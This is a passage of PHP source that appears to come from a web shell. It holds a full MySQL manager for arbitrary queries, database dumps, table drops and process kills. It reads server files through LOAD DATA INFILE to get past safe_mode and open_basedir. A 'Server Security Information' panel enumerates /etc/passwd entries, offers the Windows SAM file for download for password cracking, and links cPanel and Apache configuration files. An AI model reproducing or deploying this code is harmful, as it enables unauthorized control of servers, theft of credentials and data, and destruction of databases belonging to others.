  1121.         if ((!$submit) or ($sql_x)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  1122.       }
  1123.       if (in_array($sql_x,$acts)) {
  1124.         ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
  1125.         <form action="<?php echo $surl; ?>">
  1126.         <input type="hidden" name="x" value="sql">
  1127.         <input type="hidden" name="sql_x" value="newtbl">
  1128.         <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  1129.         <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  1130.         <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  1131.         <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
  1132.         <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
  1133.         <input type="text" name="sql_newtbl" size="20">
  1134.         <input type="submit" value="Create">
  1135.         </form></td>
  1136.         <td width="30%" height="1"><b>Dump DB:</b>
  1137.         <form action="<?php echo $surl; ?>">
  1138.         <input type="hidden" name="x" value="sql">
  1139.         <input type="hidden" name="sql_x" value="dump">
  1140.         <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  1141.         <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  1142.         <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  1143.         <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
  1144.         <?php
  1145.         if (!empty($sql_x)) {echo "<hr size=\"1\" noshade>";}
  1146.         if ($sql_x == "newtbl") {
  1147.           echo "<b>";
  1148.           if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
  1149.             echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  1150.           }
  1151.           else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1152.         }
  1153.         elseif ($sql_x == "dump") {
  1154.           if (empty($submit)) {
  1155.             $diplay = FALSE;
  1156.             echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  1157.             echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  1158.             $v = join (";",$dmptbls);
  1159.             echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  1160.             if ($dump_file) {$tmp = $dump_file;}
  1161.             else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  1162.             echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  1163.             echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  1164.             echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  1165.             echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  1166.             echo "</form>";
  1167.           }
  1168.           else {
  1169.             $diplay = TRUE;
  1170.             $set = array();
  1171.             $set["sock"] = $sql_sock;
  1172.             $set["db"] = $sql_db;
  1173.             $dump_out = "download";
  1174.             $set["print"] = 0;
  1175.             $set["nl2br"] = 0;
  1176.             $set[""] = 0;
  1177.             $set["file"] = $dump_file;
  1178.             $set["add_drop"] = TRUE;
  1179.             $set["onlytabs"] = array();
  1180.             if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  1181.             $ret = mysql_dump($set);
  1182.             if ($sql_dump_download) {
  1183.               @ob_clean();
  1184.               header("Content-type: application/octet-stream");
  1185.               header("Content-length: ".strlen($ret));
  1186.               header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  1187.               echo $ret;
  1188.               exit;
  1189.             }
  1190.             elseif ($sql_dump_savetofile) {
  1191.               $fp = fopen($sql_dump_file,"w");
  1192.               if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  1193.               else {
  1194.                 fwrite($fp,$ret);
  1195.                 fclose($fp);
  1196.                 echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  1197.               }
  1198.             }
  1199.             else {echo "<b>Dump: nothing to do!</b>";}
  1200.           }
  1201.         }
  1202.         if ($diplay) {
  1203.     if (!empty($sql_tbl)) {
  1204.       if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
  1205.       $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  1206.       $count_row = mysql_fetch_array($count);
  1207.       mysql_free_result($count);
  1208.       $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  1209.       $tbl_struct_fields = array();
  1210.       while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  1211.       if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  1212.       if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  1213.       if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  1214.       if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  1215.       $perpage = $sql_tbl_le - $sql_tbl_ls;
  1216.       if (!is_numeric($perpage)) {$perpage = 10;}
  1217.       $numpages = $count_row[0]/$perpage;
  1218.       $e = explode(" ",$sql_order);
  1219.       if (count($e) == 2) {
  1220.         if ($e[0] == "d") {$asc_desc = "DESC";}
  1221.         else {$asc_desc = "ASC";}
  1222.         $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  1223.       }
  1224.       else {$v = "";}
  1225.       $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  1226.       $result = mysql_query($query) or print(mysql_smarterror());
  1227.       echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  1228.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;";
  1229.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;";
  1230.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;";
  1231.       echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1232.       if ($sql_tbl_x == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  1233.       if ($sql_tbl_x == "insert") {
  1234.         if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  1235.         if (!empty($sql_tbl_insert_radio)) {  } //Not Ready
  1236.         else {
  1237.           echo "<br><br><b>Inserting row into table:</b><br>";
  1238.           if (!empty($sql_tbl_insert_q)) {
  1239.             $sql_query = "SELECT * FROM `".$sql_tbl."`";
  1240.             $sql_query .= " WHERE".$sql_tbl_insert_q;
  1241.             $sql_query .= " LIMIT 1;";
  1242.             $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  1243.             $values = mysql_fetch_assoc($result);
  1244.             mysql_free_result($result);
  1245.           }
  1246.           else {$values = array();}
  1247.           echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  1248.           foreach ($tbl_struct_fields as $field) {
  1249.             $name = $field["Field"];
  1250.             if (empty($sql_tbl_insert_q)) {$v = "";}
  1251.             echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  1252.             $i++;
  1253.           }
  1254.           echo "</table><br>";
  1255.           echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  1256.           if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  1257.           echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  1258.         }
  1259.       }
  1260.       if ($sql_tbl_x == "browse") {
  1261.         $sql_tbl_ls = abs($sql_tbl_ls);
  1262.         $sql_tbl_le = abs($sql_tbl_le);
  1263.         echo "<hr size=\"1\" noshade>";
  1264.         echo "<img src=\"".$surl."x=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  1265.         $b = 0;
  1266.         for($i=0;$i<$numpages;$i++) {
  1267.           if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  1268.           echo $i;
  1269.           if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  1270.           if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  1271.           else {echo "&nbsp;";}
  1272.         }
  1273.         if ($i == 0) {echo "empty";}
  1274.         echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  1275.         echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
  1276.         echo "<tr>";
  1277.         echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1278.         for ($i=0;$i<mysql_num_fields($result);$i++) {
  1279.           $v = mysql_field_name($result,$i);
  1280.           if ($e[0] == "a") {$s = "d"; $m = "asc";}
  1281.           else {$s = "a"; $m = "desc";}
  1282.           echo "<td>";
  1283.           if (empty($e[0])) {$e[0] = "a";}
  1284.           if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1285.           else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."x=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  1286.           echo "</td>";
  1287.         }
  1288.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  1289.       echo "</tr>";
  1290.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
  1291.        echo "<tr>";
  1292.        $w = "";
  1293.        $i = 0;
  1294.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1295.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1296.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1297.        $i = 0;
  1298.        foreach ($row as $k=>$v)
  1299.        {
  1300.         $v = htmlspecialchars($v);
  1301.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  1302.         echo "<td>".$v."</td>";
  1303.         $i++;
  1304.        }
  1305.        echo "<td>";
  1306.        echo "<a href=\"".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  1307.        echo "<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."x=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  1308.        echo "</td>";
  1309.        echo "</tr>";
  1310.       }
  1311.       mysql_free_result($result);
  1312.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
  1313.       echo "<option value=\"\">With selected:</option>";
  1314.       echo "<option value=\"deleterow\">Delete</option>";
  1315.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1316.      }
  1317.     }
  1318.     else {
  1319.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1320.      if (!$result) {echo mysql_smarterror();}
  1321.      else
  1322.      {
  1323.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1324.       $i = 0;
  1325.       $tsize = $trows = 0;
  1326.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1327.       {
  1328.        $tsize += $row["Data_length"];
  1329.        $trows += $row["Rows"];
  1330.        $size = view_size($row["Data_length"]);
  1331.        echo "<tr>";
  1332.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1333.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  1334.        echo "<td>".$row["Rows"]."</td>";
  1335.        echo "<td>".$row["Type"]."</td>";
  1336.        echo "<td>".$row["Create_time"]."</td>";
  1337.        echo "<td>".$row["Update_time"]."</td>";
  1338.        echo "<td>".$size."</td>";
  1339.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."x=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  1340.        echo "</tr>";
  1341.        $i++;
  1342.       }
  1343.       echo "<tr bgcolor=\"000000\">";
  1344.       echo "<td><center><b>+</b></center></td>";
  1345.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  1346.       echo "<td><b>".$trows."</b></td>";
  1347.       echo "<td>".$row[1]."</td>";
  1348.       echo "<td>".$row[10]."</td>";
  1349.       echo "<td>".$row[11]."</td>";
  1350.       echo "<td><b>".view_size($tsize)."</b></td>";
  1351.       echo "<td></td>";
  1352.       echo "</tr>";
  1353.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
  1354.       echo "<option value=\"\">With selected:</option>";
  1355.       echo "<option value=\"tbldrop\">Drop</option>";
  1356.       echo "<option value=\"tblempty\">Empty</option>";
  1357.       echo "<option value=\"tbldump\">Dump</option>";
  1358.       echo "<option value=\"tblcheck\">Check table</option>";
  1359.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  1360.       echo "<option value=\"tblrepair\">Repair table</option>";
  1361.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  1362.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1363.       mysql_free_result($result);
  1364.      }
  1365.     }
  1366.    }
  1367.    }
  1368.   }
  1369.   else {
  1370.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1371.    if (in_array($sql_x,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  1372.    if (!empty($sql_x)) {
  1373.     echo "<hr size=\"1\" noshade>";
  1374.     if ($sql_x == "newdb") {
  1375.      echo "<b>";
  1376.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  1377.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1378.     }
  1379.     if ($sql_x == "serverstatus") {
  1380.      $result = mysql_query("SHOW STATUS", $sql_sock);
  1381.      echo "<center><b>Server-status variables:</b><br><br>";
  1382.      echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1383.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1384.      echo "</table></center>";
  1385.      mysql_free_result($result);
  1386.     }
  1387.     if ($sql_x == "servervars") {
  1388.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  1389.      echo "<center><b>Server variables:</b><br><br>";
  1390.      echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1391.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1392.      echo "</table>";
  1393.      mysql_free_result($result);
  1394.     }
  1395.     if ($sql_x == "processes") {
  1396.      if (!empty($kill)) {
  1397.        $query = "KILL ".$kill.";";
  1398.        $result = mysql_query($query, $sql_sock);
  1399.        echo "<b>Process #".$kill." was killed.</b>";
  1400.      }
  1401.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  1402.      echo "<center><b>Processes:</b><br><br>";
  1403.      echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  1404.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_x=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  1405.      echo "</table>";
  1406.      mysql_free_result($result);
  1407.     }
  1408.     if ($sql_x == "getfile")
  1409.     {
  1410.      $tmpdb = $sql_login."_tmpdb";
  1411.      $select = mysql_select_db($tmpdb);
  1412.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  1413.      if ($select)
  1414.      {
  1415.       $created = FALSE;
  1416.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1417.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1418.       $result = mysql_query("SELECT * FROM tmp_file;");
  1419.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1420.       else
  1421.       {
  1422.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1423.        $f = "";
  1424.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1425.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1426.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1427.        mysql_free_result($result);
  1428.        mysql_query("DROP TABLE tmp_file;");
  1429.       }
  1430.      }
  1431.      mysql_drop_db($tmpdb);
  1432.     }
  1433.    }
  1434.   }
  1435. }
  1436. echo "</td></tr></table>";
  1437. if ($sql_sock) {
  1438.   $affected = @mysql_affected_rows($sql_sock);
  1439.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1440.   echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
  1441. }
  1442. echo "</table>";
  1443. }
  1444. if ($x == "phpinfo") {@ob_clean(); phpinfo(); bogelexit();}
  1445. if ($x == "security") {
  1446.   echo "<div class=barheader>.: Server Security Information :.</div>".
  1447.        "<table>".
  1448.        "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>";
  1449.   echo "<td>Password File</td><td>";
  1450.   if (!$win) {
  1451.     if ($nixpasswd) {
  1452.       if ($nixpasswd == 1) {$nixpasswd = 0;}
  1453.       echo "*nix /etc/passwd:<br>";
  1454.       if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1455.       if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1456.       echo "<form action=\"".$surl."\"><input type=hidden name=x value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  1457.       $i = $nixpwd_s;
  1458.       while ($i < $nixpwd_e) {
  1459.         $uid = posix_getpwuid($i);
  1460.         if ($uid) {
  1461.           $uid["dir"] = "<a href=\"".$surl."x=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
  1462.           echo join(":",$uid)."<br>";
  1463.         }
  1464.         $i++;
  1465.       }
  1466.     }
  1467.     else {echo "<a href=\"".$surl."x=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a>";}
  1468.   }
  1469.   else {
  1470.     $v = $_SERVER["WINDIR"]."\repair\sam";
  1471.     if (file_get_contents($v)) {echo "<td colspan=2><div class=fxerrmsg>You can't crack Windows passwords(".$v.")</div></td></tr>"; }
  1472.     else {echo "You can crack Windows passwords. <a href=\"".$surl."x=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";}
  1473.   }
  1474.   echo "</td></tr>";
  1475.   echo "<tr><td>Config Files</td><td>";
  1476.   if (!$win) {
  1477.     $v = array(
  1478.         array("User Domains","/etc/userdomains"),
  1479.         array("Cpanel Config","/var/cpanel/accounting.log"),
  1480.         array("Apache Config","/usr/local/apache/conf/httpd.conf"),
  1481.         array("Apache Config","/etc/httpd.conf"),
  1482.         array("Syslog Config","/etc/syslog.conf"),
  1483.         array("Message of The Day","/etc/motd"),
  1484.         array("Hosts","/etc/hosts")
  1485.     );
  1486.     $sep = "/";
  1487.   }
  1488.   else {
  1489.     $windir = $_SERVER["WINDIR"];
  1490.     $etcdir = $windir . "\system32\drivers\etc\\";
  1491.     $v = array(
  1492.         array("Hosts",$etcdir."hosts"),
  1493.         array("Local Network Map",$etcdir."networks"),
  1494.         array("LM Hosts",$etcdir."lmhosts.sam"),
  1495.     );
  1496.     $sep = "\\";
  1497.   }
  1498.   foreach ($v as $sec_arr) {
  1499.     $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
  1500.     $sec_d = rtrim($sec_arr[1],$sec_f);
  1501.     $sec_full = $sec_d.$sec_f;
  1502.     $sec_d = rtrim($sec_d,$sep);
  1503.     if (file_get_contents($sec_full)) {
  1504.       echo " [ <a href=\"".$surl."x=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><u><b>".$sec_arr[0]."</b></u></a> ] ";
  1505.     }
  1506.   }
  1507.   echo "</td></tr>";
  1508.  
  1509.   function displaysecinfo($name,$value) {
  1510.     if (!empty($value)) {
